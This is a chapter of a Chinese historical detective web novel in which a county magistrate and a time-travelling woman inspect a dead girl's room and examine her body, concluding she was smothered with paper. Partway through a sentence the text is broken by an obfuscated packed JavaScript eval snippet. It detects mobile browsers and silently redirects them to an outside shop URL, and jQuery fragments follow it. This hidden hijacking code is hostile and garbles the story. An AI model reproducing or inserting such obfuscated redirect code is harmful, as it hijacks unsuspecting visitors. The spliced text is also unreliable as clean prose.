黄员外这个称谓是六年前发了家向朝廷捐了一大笔银子得来的,没有任何实权,就是叫着好听。当年为了对得起自己这身份还专程在通州东边置办了一座大宅子,取名员外府。士农工商,看得出商人出身的他有多想脱离这个身份了,江晚卿看着那红底黑字的楠木牌匾想。
大门应声而开,府内的小丫鬟怯生生的探出头来,今天府上能说得上话的人都给小姐送葬去了,她被临时安排来看门,看见门外这一男一女实在眼生,沈慎之又没穿官服。没等她开口,沈慎之就亮明身份:
“我乃本县县令,带我去你们家小姐出事的房间看看。”
小丫鬟终日在府里,什么时候见过大人,吓得赶紧拉开大门,又想起今天老爷他们都不在,人家一只脚都进门了,再关门也不是那回事,愣愣地补充:“老爷夫人去送小姐下葬了,现在府上只有少爷一人在。”
“我们不找你家主人。”
员外府的布置能看出家底还算殷实,一进门就是一大片的荷花池,只是如今季节荷花未开,只有成片的莲叶亭亭玉立。穿过堂屋里面摆放的家具和字画看得出都不便宜,江晚卿注意到挂在正中间的那副字,鬼画符似的不知道写的什么。
“假的。”沈慎之突然低声开口,他见江晚卿盯着看以为她感兴趣:“颜正曦题字不喜欢落款。”
哦看来还是个大家,江晚卿收回目光,黄员外连正品赝品都分不清,看来是个没什么内涵的暴发户。
丫鬟将他们带到内院的回廊下指着最里面那间小屋子,眼神回避着那边,垂下头:
“大人,那边那间就是小姐的屋子。”
“你们小姐没个贴身丫鬟吗?”这内院路过的每一所房子都很大,甚至还有带院子的,可眼前这所小屋子,丫鬟不说是黄小姐的房间,他都要觉得是柴房,太小了,在茂密的竹林覆盖之下,显得格外不起眼。
“原本是有的,不过小姐死后,就被夫人打发掉了。”
女儿刚死就打发走她的下人?这家子人真是越来越令他好奇了。
“你知道黄小姐丫鬟叫什么名字,住哪里吗?”
那小丫鬟摇摇头:“奴婢只知道她叫春梅,别的不知。”
沈慎之没再问,抬步往黄小姐的房间走去,江晚卿紧跟而上,忍不住蛐蛐:
“沈大人我听先前那位差大哥说你是刚到任通州县,想必不知道黄员外现如今的夫人是他后娶的吧?人都说有了后娘就有后爹,这黄小姐的日子苦哟。”
可不就苦吗,这屋子何止是外面看着小,走进来更小,里面除了一张床,一张桌子,一架衣柜和浣洗架子再无其他了,也放不下其他了。这黄小姐生前还不知道日子多拮据呢。
想到这里,江晚卿深吸了一口气,诶了一声,沈慎之在床边瞧呢,听见动静也回头看向她,眼神询问。
“大人啊,那黄小姐尸身头上戴的是真金吗?”
一个住的和下人似的小姐,死后会打扮得那么华贵吗?
沈慎之给了她一个你才发现啊的眼神,认真回答:
“是,不过也不排除停棺的这些天担心外人前来祭奠,看见府里小姐太寒酸会议论的可能性。”
这倒也是,江晚卿点点头,环顾四周,没发现什么可疑之处,主要她也不是干这行的,能发现啥,她走到门口朝那小丫鬟招招手,等她走到门外停住才问:
“黄小姐当时上吊是用的什么绳子?麻绳?衣带?”
小丫鬟回忆:“麻绳,当时夫人还让罗妈妈去烧掉了。”
沈慎之注意到床边地上有一个铜盆,问:“案发后这个房间被动过吗?”
小丫鬟摇头:“尸首搬出来后夫人就不让人来这边了,嫌晦气。”
趁着沈慎之问话,江晚卿走到那人高衣柜前,伸手拉开柜门,看着里面寥寥无几的成衣感慨,一个大户小姐的衣服甚至比不上她现代牛马家中一半的数量。正要合上门,她脚尖忽然踢到东西,弯腰一看,衣柜底下塞着一个明黄色的包袱。
她伸手将其拽出来,解开上面的布绳,看清里面的东西,她赶紧拿给沈慎之看。
包袱里放着一块刻有‘先母刘氏慧娘之灵位’,除此之外还有两三件女子衣衫,最下面还有一只素木雕花簪子。
“看来贾正至少有一件事没有说谎,黄小姐是真的打算离开这里。”否则不会收拾东西连她娘的牌位也带走。江晚卿拿起那只木簪,上面涂了一层山茶油,看上去油光水滑,闻着还能嗅到淡淡的茶香,只是这款式看着实在不值钱,黄小姐离家都要带着它,肯定对她来说十分重要。
沈慎之的目光落在那簪子上,眸色沉思:
“走吧,回县衙,验尸。”
县衙外,黄员外一干人等被马亮带人拦在门外,见沈慎之来,神情十分不睦,叫嚷着要说法:
“沈大人您来得正好,刚刚你手底下的人不由分说的就来抢我女儿尸首,太过分了!”
沈慎之的眼神落在马亮身上:“你没跟黄员外说吗?”
马亮摇头,严肃回答:“我只负责听大人命令,大人只让我把尸首带回来。”
沈慎之笑了,目光转向黄员外:“黄小姐的尸首是我下令带回来的,她的死因存疑,在查清事实之前,绝不可草草下葬。”
他话音落,黄员外身边的黄夫人神情中闪过一丝不自在,沈慎之敏锐的捕捉到,迅速地打量了她一番,在她拿着手帕的手上略微停顿,吩咐马亮:“把黄员外他们请进县衙好生招待,切不可怠慢。”
由于县衙的条件有限,没有专门存放尸身的地方,洪泰他们只能搬了两张桌子拼在一起,用芦席垫着,把黄小姐的尸身放在上面。江晚卿走过来时虽已做好了准备,可已经存放三日的尸身味道实在冲鼻,捂着鼻子也没阻挡住,她胃里那股子秽意上来,下意识扶住跟着她前后脚走过来的沈慎之胳膊,弯腰‘哇’地一下,吐了。
尸臭加上呕吐物的味道混合在一起,江晚卿不用抬头看都知道沈慎之此刻肯定面色不好,她已经看见他衣袖下捏起的拳头了,想道歉,可一张嘴又想吐了。
身旁的人长长吐出一口气,咬着牙:“你确定你会验尸?”
江晚卿捂着嘴,声音透过手掌穿出来,闷闷的:“我会和我想吐不冲突。”
沈慎之用一种难以言喻的眼神看着她,又重重叹了口气,伸手向腰间,把左侧一直带着身上的香囊解下来递给她:“这里面有苍术和檀香,你拿着,能缓解你的症状。”
江晚卿正要伸手去接,猛然想起网上说的香囊好像在古代是送有情人的,他这个不会是他的有情人送的吧,那自己拿着可不行。沈慎之似乎有些烦了,看她半天不接,直接塞进她手里,催促:“快点。”
行吧,江晚卿也不管那些了,拿着香囊猛闻,一股淡淡的苦味扑鼻而来,胃里那股翻江倒海的感觉倒是缓解了不少,她把香囊塞进自己腰间的束带里,大步朝黄小姐的尸身去。
“手帕有吗?”她没问沈慎之有没有手套,这县衙连个仵作都没有,她哪里还能指望人家有装备。沈慎之不知道她要做什么,还是从怀里掏出手帕递给她,他的手帕也跟他香囊似的,泛着苍术的苦味,江晚卿将其罩在手上,俯身去检查尸首。
她先是褪去死者头上的金饰发钗放在一边,伸手探进发缝去摸索,接着从头至尾细看了一边尸身,排查外伤引起的致命伤,沉声开口:
“头骨完整,浑身上下没有淤青伤痕,没有利器造成的伤口,没有骨折错位,并非外部因素造成的死亡。”
她伸手抬起死者的下颌,手指在勒痕上摸索按压:
“这条勒痕上颜色浅淡均匀,皮肉紧实没有翻卷,并且周围也没有第二条勒痕痕迹,应该不是被人勒死后伪装上吊的。
说着她又掀开死者的眼睑细看,白眼球上遍布细小的血点,她指给沈慎之看,语气沉静:
“若是上吊死,眼球应该是突出的且充血的,不会像这样布满血点,她应该是被捂死的。”她没顾沈慎之的沉思之色,径直吩咐他:
“帮我打盆水来,顺便再拿张擦脸的帕子。”
说着反应过来自己语气不对,回头讪笑,重新措辞:“我去打盆水来。”
沈慎之伸出两根手指拽住她衣袖:“我来,你继续验。”
他走后,屋内只剩下她与一具冰冷的尸身,她拿起那枚香囊凑到鼻尖使劲闻了闻又放回去,才凑近死者的口鼻,目光一寸寸扫过唇缝合鼻翼,眸光一动,死者的鼻腔里似乎有什么东西。
手边实在没有工具可用,江晚卿略微迟疑,抬手扯开耳后的一缕发丝,乌黑的发尾被她指尖捻着,极轻地探入死者鼻腔,细细扫刮。神色认真且专注,丝毫没注意到沈慎之已经回来了,这一幕落在男人眼里,眼底闪过明显的惊诧。
细软的发丝不比毛刷,要将里面的东西扫出来颇费了些力,看着那的白色纸絮落于指尖,江晚卿下意识屏住气息,生怕一个大喘气把物证给吹飞。
”水打来了。“
这时沈慎之开口,惊得江晚卿没忍住斜了他一眼,置身于疑似被瞪的可能中,就听她举起食指到他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891699|212767||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼前:“这是我刚刚在尸首的鼻腔里找到的,凶手应该是用纸将她捂死的,至于是不是,我还要再看看。”
她把手指往前杵:“你拿着。”
沈慎之看着那要贴脸才能看清的纸絮,十分小心翼翼地将其接过来。就见江晚卿一刻不停地拧干水盆里的帕子,极轻,极其仔细地擦去死者面上的脂粉与艳红色的口脂,朝他招手:
“你来看。”
待他走近,江晚卿突然绕到他身后伸手用湿掉的帕子捂住他的口鼻,在他下意识要肘击时,又极快地松开:
“刚刚我捂住你,你感觉哪里受力更明显一点?”
沈慎之连呸几声,用袖子擦嘴,脸黑成碳,可还是想了一下回答:“鼻子。”
看到他的举动,江晚卿这才想起这帕子擦过尸首的脸,为了防止沈大人发火她赶忙转移话题,让他看尸身的鼻翼两边那整齐的痕迹:“尸首面部没有磨损,却有压痕,”
她扬扬手里的帕子:“有两种可能,第一种就是凶手用打湿的纸捂住黄小姐的口鼻,但是他等不及让对方慢慢死,所以用手压着纸加快了黄小姐的死亡,还有一种可能,就是那张纸是比较名贵的,能够做到柔若亲肤。”
“不过我刚刚通过刚刚的实验,加上黄小姐只有鼻翼两侧有压痕,我更倾向于第一个可能性。”
检查完面部,她走到死者的身侧,去检查她的手腕及四肢,边看边说:“四肢无束缚痕迹,说明凶手力气比黄小姐大很多,可以轻松控制她,”
她抬起死者的手,细看她的指甲缝,上面粉色的蔻丹引起了她的注意:
“人指甲盖每天在长,尤其是惯用的手长得更快,可是她的蔻丹毫无新甲露出,你说她死前因为婚约的事儿发愁,又忙着计划私奔,有心思弄这些吗?”
沈慎之凑近看,还真是:“你的意思是她这是死后涂的?”
江晚卿没答,又用手指扒开死者的指尖肉,看指甲盖缝里的痕迹,从右手小拇指的末尾扒拉出一小点细碎的皮肉组织:
“粉的,这真是死后染的。等等..”她举起手中的那一点皮肉放在阳光下,又抬起死者的手指来回看:“这不是普通的蔻丹,里面好像掺了东西。”不灵不灵的,像现代的粗光猫眼。
“是金粉。”沈慎之一看便知:“寻常蔻丹是用凤仙花捣成汁包住手指染色而成,一般就是大红,绯红那些,京城里有一种流行的蔻丹膏,颜色丰富些,有的也会往里面掺一些金粉。”
东西贵意味着稀有,在通州这小地方,能用得起这样东西的想必屈指可数,去金店,脂粉铺子里一查便知。
江晚卿倒吸口凉气,有钱人真够任性的,把黄金当指甲油涂,只不过这沈大人对这些女子用的东西可真熟悉啊,这古代人成亲都早,莫不是在家中早已有了妻子?
沈慎之看到她若有所思,轻咳一声:“我曾经接手过一件蔻丹中毒案,研究过这些。”
江晚卿点点头,把那点皮肉拿给沈慎之看:“一般情况下,人在濒死挣扎的时候肯定会试图自救,尤其是勒死,捂死这种,很容易在指甲缝里留下凶手的痕迹,宋小姐的食指都很干净,只有小拇指这里残留了一点。”
凶手应该清理过,但又忽略了掉了这里。
她又回过头去看尸首面部的压痕,在日光的反射下,看见尸首的下颌底下隐约泛着青,她忍不住惊呼:“这里也有道压痕。”
沈慎之走到她那个位置,站在她身后看过去,果真看见了一道浅浅的压痕。那个位置被挡住正面看不明显,再加上颜色淡,很容易被忽略。
“这应该是个男人,”江晚卿断言:“凶手一定比黄小姐高,而且手掌大,才会在下巴底下也留下压痕,一般女性没有这么大的手掌。”能覆盖着一个成年女性的大半张脸。
有这些线索,黄小姐的尸体就不用再复检,能早日入土为安了,想到这儿江晚卿看着沈慎之笑了,过了那个认真劲儿,周围被忽略的腐臭霎时间铺天盖地的涌进鼻腔,江晚卿又想吐了。沈慎之看着她变色的脸,赶紧往后大退几步,捂住鼻子,拉开距离,见她拿起腰间的香囊闻过后才松了口气,大方表示:
“香囊你留着吧。”
这时外面传来吵闹声,一个穿着罗裙的女子冲了进来,看见两人一尸愣了一下,她身后的官差看见沈慎之抱拳行礼:
“沈大人,这名女子前来报案,属下没拦住。”
听见官差称沈慎之为大人那名女子扑通一声跪下:
“沈大人,有人杀了我妹妹,求你给民女做主啊。”